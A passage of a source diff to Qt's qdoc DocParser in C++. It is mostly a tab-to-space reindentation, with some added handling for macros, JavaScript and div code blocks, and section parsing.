-	int d = ymd.cap(3).toInt();
-
-	if (m == 0)
-	    m = 1;
-	if (d == 0)
-	    d = 1;
-	QDate expiryDate(y, m, d);
-	if (expiryDate.isValid()) {
-	    int days = expiryDate.daysTo(QDate::currentDate());
-	    if (days == 0) {
-		location().warning(tr("Documentation expires today"));
-	    }
+        int y = ymd.cap(1).toInt();
+        int m = ymd.cap(2).toInt();
+        int d = ymd.cap(3).toInt();
+
+        if (m == 0)
+            m = 1;
+        if (d == 0)
+            d = 1;
+        QDate expiryDate(y, m, d);
+        if (expiryDate.isValid()) {
+            int days = expiryDate.daysTo(QDate::currentDate());
+            if (days == 0) {
+                location().warning(tr("Documentation expires today"));
+            }
             else if (days == 1) {
-		location().warning(tr("Documentation expired yesterday"));
-	    }
+                location().warning(tr("Documentation expired yesterday"));
+            }
             else if (days >= 2) {
-		location().warning(tr("Documentation expired %1 days ago")
-				    .arg(days));
-	    }
-	}
+                location().warning(tr("Documentation expired %1 days ago")
+                                    .arg(days));
+            }
+        }
         else {
-	    location().warning(tr("Date '%1' invalid").arg(date));
-	}
+            location().warning(tr("Date '%1' invalid").arg(date));
+        }
     }
     else {
-	location().warning(tr("Date '%1' not in YYYY-MM-DD format")
-			    .arg(date));
+        location().warning(tr("Date '%1' not in YYYY-MM-DD format")
+                            .arg(date));
     }
 }
 
@@ -1501,34 +1525,34 @@ void DocParser::insertBaseName(const QString &baseName)
 {
     priv->constructExtra();
     if (currentSectioningUnit == priv->extra->sectioningUnit) {
-	priv->extra->baseName = baseName;
+        priv->extra->baseName = baseName;
     }
     else {
-	Atom *atom = priv->text.firstAtom();
-	Atom *sectionLeft = 0;
+        Atom *atom = priv->text.firstAtom();
+        Atom *sectionLeft = 0;
 
-	int delta = currentSectioningUnit - priv->extra->sectioningUnit;
+        int delta = currentSectioningUnit - priv->extra->sectioningUnit;
 
-	while (atom != 0) {
-	    if (atom->type() == Atom::SectionLeft &&
-		 atom->string().toInt() == delta)
-		sectionLeft = atom;
-	    atom = atom->next();
-	}
-	if (sectionLeft != 0)
-	    (void) new Atom(sectionLeft, Atom::BaseName, baseName);
+        while (atom != 0) {
+            if (atom->type() == Atom::SectionLeft &&
+                 atom->string().toInt() == delta)
+                sectionLeft = atom;
+            atom = atom->next();
+        }
+        if (sectionLeft != 0)
+            (void) new Atom(sectionLeft, Atom::BaseName, baseName);
     }
 }
 
 void DocParser::insertTarget(const QString &target, bool keyword)
 {
     if (targetMap.contains(target)) {
-	location().warning(tr("Duplicate target name '%1'").arg(target));
-	targetMap[target].warning(tr("(The previous occurrence is here)"));
+        location().warning(tr("Duplicate target name '%1'").arg(target));
+        targetMap[target].warning(tr("(The previous occurrence is here)"));
     }
     else {
-	targetMap.insert(target, location());
-	append(Atom::Target, target);
+        targetMap.insert(target, location());
+        append(Atom::Target, target);
         priv->constructExtra();
         if (keyword)
             priv->extra->keywords.append(priv->text.lastAtom());
@@ -1540,8 +1564,8 @@ void DocParser::insertTarget(const QString &target, bool keyword)
 void DocParser::include(const QString& fileName)
 {
     if (location().depth() > 16)
-	location().fatal(tr("Too many nested '\\%1's")
-			  .arg(cmdName(CMD_INCLUDE)));
+        location().fatal(tr("Too many nested '\\%1's")
+                          .arg(cmdName(CMD_INCLUDE)));
 
     QString userFriendlyFilePath;
     // ### use current directory?
@@ -1551,25 +1575,25 @@ void DocParser::include(const QString& fileName)
                                         fileName,
                                         userFriendlyFilePath);
     if (filePath.isEmpty()) {
-	location().warning(tr("Cannot find leaf file '%1'").arg(fileName));
+        location().warning(tr("Cannot find leaf file '%1'").arg(fileName));
     }
     else {
-	QFile inFile(filePath);
-	if (!inFile.open(QFile::ReadOnly)) {
-	    location().warning(tr("Cannot open leaf file '%1'")
-				.arg(userFriendlyFilePath));
-	}
+        QFile inFile(filePath);
+        if (!inFile.open(QFile::ReadOnly)) {
+            location().warning(tr("Cannot open leaf file '%1'")
+                                .arg(userFriendlyFilePath));
+        }
         else {
-	    location().push(userFriendlyFilePath);
+            location().push(userFriendlyFilePath);
 
-	    QTextStream inStream(&inFile);
-	    QString includedStuff = inStream.readAll();
-	    inFile.close();
+            QTextStream inStream(&inFile);
+            QString includedStuff = inStream.readAll();
+            inFile.close();
 
-	    in.insert(pos, includedStuff);
-	    len = in.length();
-	    openedInputs.push(pos + includedStuff.length());
-	}
+            in.insert(pos, includedStuff);
+            len = in.length();
+            openedInputs.push(pos + includedStuff.length());
+        }
     }
 }
 
@@ -1579,29 +1603,29 @@ void DocParser::startFormat(const QString& format, int cmd)
 
     QMap<int, QString>::ConstIterator f = pendingFormats.begin();
     while (f != pendingFormats.end()) {
-	if (*f == format) {
-	    location().warning(tr("Cannot nest '\\%1' commands")
-				.arg(cmdName(cmd)));
-	    return;
-	}
-	++f;
+        if (*f == format) {
+            location().warning(tr("Cannot nest '\\%1' commands")
+                                .arg(cmdName(cmd)));
+            return;
+        }
+        ++f;
     }
 
     append(Atom::FormattingLeft, format);
 
     if (isLeftBraceAhead()) {
-	skipSpacesOrOneEndl();
-	pendingFormats.insert(braceDepth, format);
-	++braceDepth;
-	++pos;
+        skipSpacesOrOneEndl();
+        pendingFormats.insert(braceDepth, format);
+        ++braceDepth;
+        ++pos;
     }
     else {
-	append(Atom::String, getArgument());
-	append(Atom::FormattingRight, format);
-	if (format == ATOM_FORMATTING_INDEX && indexStartedPara) {
-	    skipAllSpaces();
-	    indexStartedPara = false;
-	}
+        append(Atom::String, getArgument());
+        append(Atom::FormattingRight, format);
+        if (format == ATOM_FORMATTING_INDEX && indexStartedPara) {
+            skipAllSpaces();
+            indexStartedPara = false;
+        }
     }
 }
 
@@ -1612,37 +1636,37 @@ bool DocParser::openCommand(int cmd)
 
     if (cmd != CMD_LINK) {
         if (outer == CMD_LIST) {
-	    ok = (cmd == CMD_FOOTNOTE || cmd == CMD_LIST);
+            ok = (cmd == CMD_FOOTNOTE || cmd == CMD_LIST);
         }
         else if (outer == CMD_ABSTRACT) {
-	    ok = (cmd == CMD_LIST ||
+            ok = (cmd == CMD_LIST ||
                   cmd == CMD_QUOTATION ||
                   cmd == CMD_TABLE);
         }
         else if (outer == CMD_SIDEBAR) {
-	    ok = (cmd == CMD_LIST ||
+            ok = (cmd == CMD_LIST ||
                   cmd == CMD_QUOTATION ||
                   cmd == CMD_SIDEBAR);
         }
         else if (outer == CMD_QUOTATION) {
-	    ok = (cmd == CMD_LIST);
+            ok = (cmd == CMD_LIST);
         }
         else if (outer == CMD_TABLE) {
-	    ok = (cmd == CMD_LIST ||
+            ok = (cmd == CMD_LIST ||
                   cmd == CMD_FOOTNOTE ||
                   cmd == CMD_QUOTATION);
         }
         else if (outer == CMD_FOOTNOTE || outer == CMD_LINK) {
-	    ok = false;
+            ok = false;
         }
     }
 
     if (ok) {
-	openedCommands.push(cmd);
+        openedCommands.push(cmd);
     }
     else {
-	location().warning(tr("Cannot use '\\%1' within '\\%2'")
-			   .arg(cmdName(cmd)).arg(cmdName(outer)));
+        location().warning(tr("Cannot use '\\%1' within '\\%2'")
+                           .arg(cmdName(cmd)).arg(cmdName(outer)));
     }
     return ok;
 }
@@ -1650,74 +1674,67 @@ bool DocParser::openCommand(int cmd)
 bool DocParser::closeCommand(int endCmd)
 {
     if (endCmdFor(openedCommands.top()) == endCmd && openedCommands.size() > 1) {
-	openedCommands.pop();
-	return true;
+        openedCommands.pop();
+        return true;
     }
     else {
-	bool contains = false;
-	QStack<int> opened2 = openedCommands;
-	while (opened2.size() > 1) {
-	    if (endCmdFor(opened2.top()) == endCmd) {
-		contains = true;
-		break;
-	    }
-	    opened2.pop();
-	}
-
-	if (contains) {
-	    while (endCmdFor(openedCommands.top()) != endCmd && openedCommands.size() > 1) {
-		location().warning(tr("Missing '\\%1' before '\\%2'")
-				    .arg(endCmdName(openedCommands.top()))
-				    .arg(cmdName(endCmd)));
-		openedCommands.pop();
-	    }
-	}
+        bool contains = false;
+        QStack<int> opened2 = openedCommands;
+        while (opened2.size() > 1) {
+            if (endCmdFor(opened2.top()) == endCmd) {
+                contains = true;
+                break;
+            }
+            opened2.pop();
+        }
+
+        if (contains) {
+            while (endCmdFor(openedCommands.top()) != endCmd && openedCommands.size() > 1) {
+                location().warning(tr("Missing '\\%1' before '\\%2'")
+                                    .arg(endCmdName(openedCommands.top()))
+                                    .arg(cmdName(endCmd)));
+                openedCommands.pop();
+            }
+        }
         else {
-	    location().warning(tr("Unexpected '\\%1'")
-				.arg(cmdName(endCmd)));
-	}
-	return false;
+            location().warning(tr("Unexpected '\\%1'")
+                                .arg(cmdName(endCmd)));
+        }
+        return false;
     }
 }
 
 void DocParser::startSection(Doc::SectioningUnit unit, int cmd)
 {
-    leavePara();
+    leaveValueList();
 
     if (currentSectioningUnit == Doc::Book) {
-#if 0
-        // mws didn't think this was necessary.
-	if (unit > Doc::Section1)
-	    location().warning(tr("Unexpected '\\%1' without '\\%2'")
-				.arg(cmdName(cmd))
-				.arg(cmdName(CMD_SECTION1)));
-#endif        
-	currentSectioningUnit = (Doc::SectioningUnit) (unit - 1);
-	priv->constructExtra();
-	priv->extra->sectioningUnit = currentSectioningUnit;
+        currentSectioningUnit = (Doc::SectioningUnit) (unit - 1);
+        priv->constructExtra();
+        priv->extra->sectioningUnit = currentSectioningUnit;
     }
 
     if (unit <= priv->extra->sectioningUnit) {
-	location().warning(tr("Unexpected '\\%1' in this documentation")
-			    .arg(cmdName(cmd)));
+        location().warning(tr("Unexpected '\\%1' in this documentation")
+                            .arg(cmdName(cmd)));
     }
     else if (unit - currentSectioningUnit > 1) {
-	location().warning(tr("Unexpected '\\%1' at this point")
-			    .arg(cmdName(cmd)));
+        location().warning(tr("Unexpected '\\%1' at this point")
+                            .arg(cmdName(cmd)));
     }
     else {
-	if (currentSectioningUnit >= unit)
-	    endSection(unit, cmd);
+        if (currentSectioningUnit >= unit)
+            endSection(unit, cmd);
 
-	int delta = unit - priv->extra->sectioningUnit;
-	append(Atom::SectionLeft, QString::number(delta));
+        int delta = unit - priv->extra->sectioningUnit;
+        append(Atom::SectionLeft, QString::number(delta));
         priv->constructExtra();
         priv->extra->tableOfContents.append(priv->text.lastAtom());
         priv->extra->tableOfContentsLevels.append(unit);
-	enterPara(Atom::SectionHeadingLeft,
+        enterPara(Atom::SectionHeadingLeft,
                   Atom::SectionHeadingRight,
                   QString::number(delta));
-	currentSectioningUnit = unit;
+        currentSectioningUnit = unit;
     }
 }
 
@@ -1726,20 +1743,20 @@ void DocParser::endSection(int unit, int endCmd)
     leavePara();
 
     if (unit < priv->extra->sectioningUnit) {
-	location().warning(tr("Unexpected '\\%1' in this documentation")
-			    .arg(cmdName(endCmd)));
+        location().warning(tr("Unexpected '\\%1' in this documentation")
+                            .arg(cmdName(endCmd)));
     }
     else if (unit > currentSectioningUnit) {
-	location().warning(tr("Unexpected '\\%1' at this point")
-			    .arg(cmdName(endCmd)));
+        location().warning(tr("Unexpected '\\%1' at this point")
+                            .arg(cmdName(endCmd)));
     }
     else {
-	while (currentSectioningUnit >= unit) {
-	    int delta = currentSectioningUnit - priv->extra->sectioningUnit;
-	    append(Atom::SectionRight, QString::number(delta));
-	    currentSectioningUnit =
-		    (Doc::SectioningUnit) (currentSectioningUnit - 1);
-	}
+        while (currentSectioningUnit >= unit) {
+            int delta = currentSectioningUnit - priv->extra->sectioningUnit;
+            append(Atom::SectionRight, QString::number(delta));
+            currentSectioningUnit =
+                    (Doc::SectioningUnit) (currentSectioningUnit - 1);
+        }
     }
 }
 
@@ -1828,25 +1845,34 @@ void DocParser::appendChar(QChar ch)
 void DocParser::appendWord(const QString &word)
 {
     if (priv->text.lastAtom()->type() != Atom::String) {
-	append(Atom::String, word);
+        append(Atom::String, word);
     }
     else
-	priv->text.lastAtom()->appendString(word);
+        priv->text.lastAtom()->appendString(word);
 }
 
 void DocParser::appendToCode(const QString& markedCode)
 {
     Atom::Type lastType = priv->text.lastAtom()->type();
 #ifdef QDOC_QML
-    if (lastType != Atom::Qml)
-	append(Atom::Qml);
+    if (lastType != Atom::Qml && lastType != Atom::Code && lastType != Atom::JavaScript)
+        append(Atom::Qml);
 #else
     if (lastType != Atom::Code)
-	append(Atom::Code);
+        append(Atom::Code);
 #endif    
     priv->text.lastAtom()->appendString(markedCode);
 }
 
+void DocParser::appendToCode(const QString &markedCode, Atom::Type defaultType)
+{
+    Atom::Type lastType = priv->text.lastAtom()->type();
+    if (lastType != Atom::Qml && lastType != Atom::Code && lastType != Atom::JavaScript)
+        append(defaultType, markedCode);
+    else
+        priv->text.lastAtom()->appendString(markedCode);
+}
+
 void DocParser::startNewPara()
 {
     leavePara();
@@ -1860,47 +1886,44 @@ void DocParser::enterPara(Atom::Type leftType,
     if (paraState == OutsidePara) {
         if (priv->text.lastAtom()->type() != Atom::ListItemLeft)
             leaveValueList();
-	append(leftType, string);
-	indexStartedPara = false;
-	pendingParaLeftType = leftType;
-	pendingParaRightType = rightType;
-	pendingParaString = string;
-	if (
-#if 0
-	     leftType == Atom::BriefLeft ||
-#endif
-	     leftType == Atom::SectionHeadingLeft) {
-	    paraState = InsideSingleLinePara;
-	}
+        append(leftType, string);
+        indexStartedPara = false;
+        pendingParaLeftType = leftType;
+        pendingParaRightType = rightType;
+        pendingParaString = string;
+        if (
+             leftType == Atom::SectionHeadingLeft) {
+            paraState = InsideSingleLinePara;
+        }
         else {
-	    paraState = InsideMultiLinePara;
-	}
-	skipSpacesOrOneEndl();
+            paraState = InsideMultiLinePara;
+        }
+        skipSpacesOrOneEndl();
     }
 }
 
 void DocParser::leavePara()
 {
     if (paraState != OutsidePara) {
-	if (!pendingFormats.isEmpty()) {
-	    location().warning(tr("Missing '}'"));
-	    pendingFormats.clear();
-	}
-
-	if (priv->text.lastAtom()->type() == pendingParaLeftType) {
-	    priv->text.stripLastAtom();
-	}
+        if (!pendingFormats.isEmpty()) {
+            location().warning(tr("Missing '}'"));
+            pendingFormats.clear();
+        }
+
+        if (priv->text.lastAtom()->type() == pendingParaLeftType) {
+            priv->text.stripLastAtom();
+        }
         else {
-	    if (priv->text.lastAtom()->type() == Atom::String &&
-		 priv->text.lastAtom()->string().endsWith(" ")) {
-		priv->text.lastAtom()->chopString();
-	    }
-	    append(pendingParaRightType, pendingParaString);
-	}
-	paraState = OutsidePara;
-	indexStartedPara = false;
-	pendingParaRightType = Atom::Nop;
-	pendingParaString = "";
+            if (priv->text.lastAtom()->type() == Atom::String &&
+                 priv->text.lastAtom()->string().endsWith(" ")) {
+                priv->text.lastAtom()->chopString();
+            }
+            append(pendingParaRightType, pendingParaString);
+        }
+        paraState = OutsidePara;
+        indexStartedPara = false;
+        pendingParaRightType = Atom::Nop;
+        pendingParaString = "";
     }
 }
 
@@ -1908,13 +1931,13 @@ void DocParser::leaveValue()
 {
     leavePara();
     if (openedLists.isEmpty()) {
-	openedLists.push(OpenedList(OpenedList::Value));
-	append(Atom::ListLeft, ATOM_LIST_VALUE);
+        openedLists.push(OpenedList(OpenedList::Value));
+        append(Atom::ListLeft, ATOM_LIST_VALUE);
     }
     else {
         if (priv->text.lastAtom()->type() == Atom::Nop)
             priv->text.stripLastAtom();
-	append(Atom::ListItemRight, ATOM_LIST_VALUE);
+        append(Atom::ListItemRight, ATOM_LIST_VALUE);
     }
 }
 
@@ -1925,9 +1948,9 @@ void DocParser::leaveValueList()
         (openedLists.top().style() == OpenedList::Value)) {
         if (priv->text.lastAtom()->type() == Atom::Nop)
             priv->text.stripLastAtom();
-	append(Atom::ListItemRight, ATOM_LIST_VALUE);
-	append(Atom::ListRight, ATOM_LIST_VALUE);
-	openedLists.pop();
+        append(Atom::ListItemRight, ATOM_LIST_VALUE);
+        append(Atom::ListRight, ATOM_LIST_VALUE);
+        openedLists.pop();
     }
 }
 
@@ -1958,43 +1981,79 @@ void DocParser::expandMacro(const QString &name,
                             int numParams)
 {
     if (numParams == 0) {
-	append(Atom::RawString, def);
+        append(Atom::RawString, def);
+    }
+    else {
+        QStringList args;
+        QString rawString;
+
+        for (int i = 0; i < numParams; i++) {
+            if (numParams == 1 || isLeftBraceAhead()) {
+                args << getArgument(true);
+            }
+            else {
+                location().warning(tr("Macro '\\%1' invoked with too few"
+                                       " arguments (expected %2, got %3)")
+                                    .arg(name).arg(numParams).arg(i));
+                break;
+            }
+        }
+
+        int j = 0;
+        while (j < def.size()) {
+            int paramNo;
+            if (((paramNo = def[j].unicode()) >= 1) &&
+                (paramNo <= numParams)) {
+                if (!rawString.isEmpty()) {
+                    append(Atom::RawString, rawString);
+                    rawString = "";
+                }
+                append(Atom::String, args[paramNo - 1]);
+                j += 1;
+            }
+            else {
+                rawString += def[j++];
+            }
+        }
+        if (!rawString.isEmpty())
+            append(Atom::RawString, rawString);
+    }
+}
+
+QString DocParser::expandMacroToString(const QString &name, const QString &def, int numParams)
+{
+    if (numParams == 0) {
+        return def;
     }
     else {
-	QStringList args;
-	QString rawString;
+        QStringList args;
+        QString rawString;
 
-	for (int i = 0; i < numParams; i++) {
-	    if (numParams == 1 || isLeftBraceAhead()) {
-		args << getArgument(true);
-	    }
+        for (int i = 0; i < numParams; i++) {
+            if (numParams == 1 || isLeftBraceAhead()) {
+                args << getArgument(true);
+            }
             else {
-		location().warning(tr("Macro '\\%1' invoked with too few"
-				       " arguments (expected %2, got %3)")
-				    .arg(name).arg(numParams).arg(i));
-		break;
-	    }
-	}
-
-	int j = 0;
-	while (j < def.size()) {
-	    int paramNo;
-	    if ((def[j] == '\\') && (j < def.size() - 1) &&
-                ((paramNo = def[j + 1].digitValue()) >= 1) &&
+                location().warning(tr("Macro '\\%1' invoked with too few"
+                                       " arguments (expected %2, got %3)")
+                                    .arg(name).arg(numParams).arg(i));
+                break;
+            }
+        }
+
+        int j = 0;
+        while (j < def.size()) {
+            int paramNo;
+            if (((paramNo = def[j].unicode()) >= 1) &&
                 (paramNo <= numParams)) {
-		if (!rawString.isEmpty()) {
-		    append(Atom::RawString, rawString);
-		    rawString = "";
-		}
-		append(Atom::String, args[paramNo - 1]);
-		j += 2;
-	    }
+                rawString += args[paramNo - 1];
+                j += 1;
+            }
             else {
-		rawString += def[j++];
-	    }
-	}
-	if (!rawString.isEmpty())
-	    append(Atom::RawString, rawString);
+                rawString += def[j++];
+            }
+        }
+        return rawString;
     }
 }
 
@@ -2003,29 +2062,29 @@ Doc::SectioningUnit DocParser::getSectioningUnit()
     QString name = getOptionalArgument();
 
     if (name == "part") {
-	return Doc::Part;
+        return Doc::Part;
     }
     else if (name == "chapter") {
-	return Doc::Chapter;
+        return Doc::Chapter;
     }
     else if (name == "section1") {
-	return Doc::Section1;
+        return Doc::Section1;
     }
     else if (name == "section2") {
-	return Doc::Section2;
+        return Doc::Section2;
     }
     else if (name == "section3") {
-	return Doc::Section3;
+        return Doc::Section3;
     }
     else if (name == "section4") {
-	return Doc::Section4;
+        return Doc::Section4;
     }
     else if (name.isEmpty()) {
-	return Doc::Section4;
+        return Doc::Section4;
     }
     else {
-	location().warning(tr("Invalid sectioning unit '%1'").arg(name));
-	return Doc::Book;
+        location().warning(tr("Invalid sectioning unit '%1'").arg(name));
+        return Doc::Book;
     }
 }
 
@@ -2042,115 +2101,115 @@ QString DocParser::getArgument(bool verbatim)
       Typically, an argument ends at the next white-space. However,
       braces can be used to group words:
 
-	  {a few words}
+          {a few words}
 
       Also, opening and closing parentheses have to match. Thus,
 
-	  printf("%d\n", x)
+          printf("%d\n", x)
 
       is an argument too, although it contains spaces. Finally,
       trailing punctuation is not included in an argument, nor is 's.
     */
     if (pos < (int) in.length() && in[pos] == '{') {
-	pos++;
-	while (pos < (int) in.length() && delimDepth >= 0) {
-	    switch (in[pos].unicode()) {
-	    case '{':
-		delimDepth++;
-		arg += "{";
-		pos++;
-		break;
-	    case '}':
-		delimDepth--;
-		if (delimDepth >= 0)
-		    arg += "}";
-		pos++;
-		break;
-	    case '\\':
-		if (verbatim) {
-		    arg += in[pos];
-		    pos++;
-		}
+        pos++;
+        while (pos < (int) in.length() && delimDepth >= 0) {
+            switch (in[pos].unicode()) {
+            case '{':
+                delimDepth++;
+                arg += "{";
+                pos++;
+                break;
+            case '}':
+                delimDepth--;
+                if (delimDepth >= 0)
+                    arg += "}";
+                pos++;
+                break;
+            case '\\':
+                if (verbatim) {
+                    arg += in[pos];
+                    pos++;
+                }
                 else {
-		    pos++;
-		    if (pos < (int) in.length()) {
-			if (in[pos].isLetterOrNumber())
-			    break;
-			arg += in[pos];
-			if (in[pos].isSpace()) {
-			    skipAllSpaces();
-			}
+                    pos++;
+                    if (pos < (int) in.length()) {
+                        if (in[pos].isLetterOrNumber())
+                            break;
+                        arg += in[pos];
+                        if (in[pos].isSpace()) {
+                            skipAllSpaces();
+                        }
                         else {
-			    pos++;
-			}
-		    }
-		}
-		break;
-	    default:
-		arg += in[pos];
-		pos++;
-	    }
-	}
-	if (delimDepth > 0)
-	    location().warning(tr("Missing '}'"));
+                            pos++;
+                        }
+                    }
+                }
+                break;
+            default:
+                arg += in[pos];
+                pos++;
+            }
+        }
+        if (delimDepth > 0)
+            location().warning(tr("Missing '}'"));
     }
     else {
-	while (pos < in.length() &&
+        while (pos < in.length() &&
                ((delimDepth > 0) ||
                 ((delimDepth == 0) &&
                  !in[pos].isSpace()))) {
-	    switch (in[pos].unicode()) {
-	    case '(':
-	    case '[':
-	    case '{':
-		delimDepth++;
-		arg += in[pos];
-		pos++;
-		break;
-	    case ')':
-	    case ']':
-	    case '}':
-		delimDepth--;
-		if (pos == startPos || delimDepth >= 0) {
-		    arg += in[pos];
-		    pos++;
-		}
-		break;
-	    case '\\':
-		if (verbatim) {
-		    arg += in[pos];
-		    pos++;
-		}
+            switch (in[pos].unicode()) {
+            case '(':
+            case '[':
+            case '{':
+                delimDepth++;
+                arg += in[pos];
+                pos++;
+                break;
+            case ')':
+            case ']':
+            case '}':
+                delimDepth--;
+                if (pos == startPos || delimDepth >= 0) {
+                    arg += in[pos];
+                    pos++;
+                }
+                break;
+            case '\\':
+                if (verbatim) {
+                    arg += in[pos];
+                    pos++;
+                }
                 else {
-		    pos++;
-		    if (pos < (int) in.length()) {
-			if (in[pos].isLetterOrNumber())
-			    break;
-			arg += in[pos];
-			if (in[pos].isSpace()) {
-			    skipAllSpaces();
-			}
+                    pos++;
+                    if (pos < (int) in.length()) {
+                        if (in[pos].isLetterOrNumber())
+                            break;
+                        arg += in[pos];
+                        if (in[pos].isSpace()) {
+                            skipAllSpaces();
+                        }
                         else {
-			    pos++;
-			}
-		    }
-		}
-		break;
-	    default:
-		arg += in[pos];
-		pos++;
-	    }
-	}
-	if ((arg.length() > 1) &&
+                            pos++;
+                        }
+                    }
+                }
+                break;
+            default:
+                arg += in[pos];
+                pos++;
+            }
+        }
+        if ((arg.length() > 1) &&
             (QString(".,:;!?").indexOf(in[pos - 1]) != -1) &&
             !arg.endsWith("...")) {
-	    arg.truncate(arg.length() - 1);
-	    pos--;
-	}
-	if (arg.length() > 2 && in.mid(pos - 2, 2) == "'s") {
-	    arg.truncate(arg.length() - 2);
-	    pos -= 2;
-	}
+            arg.truncate(arg.length() - 1);
+            pos--;
+        }
+        if (arg.length() > 2 && in.mid(pos - 2, 2) == "'s") {
+            arg.truncate(arg.length() - 2);
+            pos -= 2;
+        }
     }
     return arg.simplified();
 }
@@ -2159,11 +2218,11 @@ QString DocParser::getOptionalArgument()
 {
     skipSpacesOrOneEndl();
     if (pos + 1 < (int) in.length() && in[pos] == '\\' &&
-	 in[pos + 1].isLetterOrNumber()) {
-	return "";
+         in[pos + 1].isLetterOrNumber()) {
+        return "";
     }
     else {
-	return getArgument();
+        return getArgument();
     }
 }
 
@@ -2226,7 +2285,7 @@ QString DocParser::getMetaCommandArgument(const QString &cmdStr)
         else if (in.at(pos) == ')')
             --parenDepth;
 
-	++pos;
+        ++pos;
     }
     if (pos == in.size() && parenDepth > 0) {
         pos = begin;
@@ -2246,12 +2305,12 @@ QString DocParser::getUntilEnd(int cmd)
     int end = rx.indexIn(in, pos);
 
     if (end == -1) {
-	location().warning(tr("Missing '\\%1'").arg(cmdName(endCmd)));
-	pos = in.length();
+        location().warning(tr("Missing '\\%1'").arg(cmdName(endCmd)));
+        pos = in.length();
     }
     else {
-	t = in.mid(pos, end - pos);
-	pos = end + rx.matchedLength();
+        t = in.mid(pos, end - pos);
+        pos = end + rx.matchedLength();
     }
     return t;
 }
@@ -2263,8 +2322,9 @@ QString DocParser::getCode(int cmd, CodeMarker *marker)
     if (indent < minIndent)
         minIndent = indent;
     code = unindent(minIndent, code);
-    marker = CodeMarker::markerForCode(code);
-    return marker->markedUpCode(code, 0, "");
+    if (!marker)
+        marker = CodeMarker::markerForCode(code);
+    return marker->markedUpCode(code, 0, location());
 }
 
 /*!
@@ -2273,12 +2333,6 @@ QString DocParser::getCode(int cmd, CodeMarker *marker)
 QString DocParser::getUnmarkedCode(int cmd)
 {
     QString code = getUntilEnd(cmd);
-#if 0    
-    int indent = indentLevel(code);
-    if (indent < minIndent)
-        minIndent = indent;
-    code = unindent(minIndent, code);
-#endif    
     return code;
 }
 
@@ -2287,9 +2341,9 @@ bool DocParser::isBlankLine()
     int i = pos;
 
     while (i < len && in[i].isSpace()) {
-	if (in[i] == '\n')
-	    return true;
-	i++;
+        if (in[i] == '\n')
+            return true;
+        i++;
     }
     return false;
 }
@@ -2300,10 +2354,10 @@ bool DocParser::isLeftBraceAhead()
     int i = pos;
 
     while (i < len && in[i].isSpace() && numEndl < 2) {
-	// ### bug with '\\'
-	if (in[i] == '\n')
-	    numEndl++;
-    	i++;
+        // ### bug with '\\'
+        if (in[i] == '\n')
+            numEndl++;
+            i++;
     }
     return numEndl < 2 && i < len && in[i] == '{';
 }
@@ -2313,31 +2367,31 @@ void DocParser::skipSpacesOnLine()
     while ((pos < in.length()) &&
            in[pos].isSpace() &&
            (in[pos].unicode() != '\n'))
-	++pos;
+        ++pos;
 }
 
 void DocParser::skipSpacesOrOneEndl()
 {
     int firstEndl = -1;
     while (pos < (int) in.length() && in[pos].isSpace()) {
-	QChar ch = in[pos];
-	if (ch == '\n') {
-	    if (firstEndl == -1) {
-		firstEndl = pos;
-	    }
+        QChar ch = in[pos];
+        if (ch == '\n') {
+            if (firstEndl == -1) {
+                firstEndl = pos;
+            }
             else {
-		pos = firstEndl;
-		break;
-	    }
-	}
-	pos++;
+                pos = firstEndl;
+                break;
+            }
+        }
+        pos++;
     }
 }
 
 void DocParser::skipAllSpaces()
 {
     while (pos < len && in[pos].isSpace())
-	pos++;
+        pos++;
 }
 
 void DocParser::skipToNextPreprocessorCommand()
@@ -2348,62 +2402,66 @@ void DocParser::skipToNextPreprocessorCommand()
     int end = rx.indexIn(in, pos + 1); // ### + 1 necessary?
 
     if (end == -1)
-	pos = in.length();
+        pos = in.length();
     else
-	pos = end;
+        pos = end;
 }
 
 int DocParser::endCmdFor(int cmd)
 {
     switch (cmd) {
     case CMD_ABSTRACT:
-	return CMD_ENDABSTRACT;
+        return CMD_ENDABSTRACT;
     case CMD_BADCODE:
-	return CMD_ENDCODE;
+        return CMD_ENDCODE;
     case CMD_CHAPTER:
-	return CMD_ENDCHAPTER;
+        return CMD_ENDCHAPTER;
     case CMD_CODE:
-	return CMD_ENDCODE;
+        return CMD_ENDCODE;
+    case CMD_DIV:
+        return CMD_ENDDIV;
 #ifdef QDOC_QML        
     case CMD_QML:
-	return CMD_ENDQML;
+        return CMD_ENDQML;
     case CMD_QMLTEXT:
-	return CMD_ENDQMLTEXT;
+        return CMD_ENDQMLTEXT;
+    case CMD_JS:
+        return CMD_ENDJS;
 #endif        
     case CMD_FOOTNOTE:
-	return CMD_ENDFOOTNOTE;
+        return CMD_ENDFOOTNOTE;
     case CMD_LEGALESE:
         return CMD_ENDLEGALESE;
     case CMD_LINK:
         return CMD_ENDLINK;
     case CMD_LIST:
-	return CMD_ENDLIST;
+        return CMD_ENDLIST;
     case CMD_NEWCODE:
         return CMD_ENDCODE;
     case CMD_OLDCODE:
         return CMD_NEWCODE;
     case CMD_OMIT:
-	return CMD_ENDOMIT;
+        return CMD_ENDOMIT;
     case CMD_PART:
-	return CMD_ENDPART;
+        return CMD_ENDPART;
     case CMD_QUOTATION:
-	return CMD_ENDQUOTATION;
+        return CMD_ENDQUOTATION;
     case CMD_RAW:
         return CMD_ENDRAW;
     case CMD_SECTION1:
-	return CMD_ENDSECTION1;
+        return CMD_ENDSECTION1;
     case CMD_SECTION2:
-	return CMD_ENDSECTION2;
+        return CMD_ENDSECTION2;
     case CMD_SECTION3:
-	return CMD_ENDSECTION3;
+        return CMD_ENDSECTION3;
     case CMD_SECTION4:
-	return CMD_ENDSECTION4;
+        return CMD_ENDSECTION4;
     case CMD_SIDEBAR:
-	return CMD_ENDSIDEBAR;
+        return CMD_ENDSIDEBAR;
     case CMD_TABLE:
-	return CMD_ENDTABLE;
+        return CMD_ENDTABLE;
     default:
-	return cmd;
+        return cmd;
     }
 }
 
@@ -2457,14 +2515,14 @@ int DocParser::indentLevel(const QString& str)
     int column = 0;
 
     for (int i = 0; i < (int) str.length(); i++) {
-	if (str[i] == '\n') {
-	    column = 0;
-	}
+        if (str[i] == '\n') {
+            column = 0;
+        }
         else {
-	    if (str[i] != ' ' && column < minIndent)
-		minIndent = column;
-	    column++;
-	}
+            if (str[i] != ' ' && column < minIndent)
+                minIndent = column;
+            column++;
+        }
     }
     return minIndent;
 }
@@ -2472,21 +2530,21 @@ int DocParser::indentLevel(const QString& str)
 QString DocParser::unindent(int level, const QString& str)
 {
     if (level == 0)
-	return str;
+        return str;
 
     QString t;
     int column = 0;
 
     for (int i = 0; i < (int) str.length(); i++) {
         if (str[i] == QLatin1Char('\n')) {
-	    t += '\n';
-	    column = 0;
-	}
+            t += '\n';
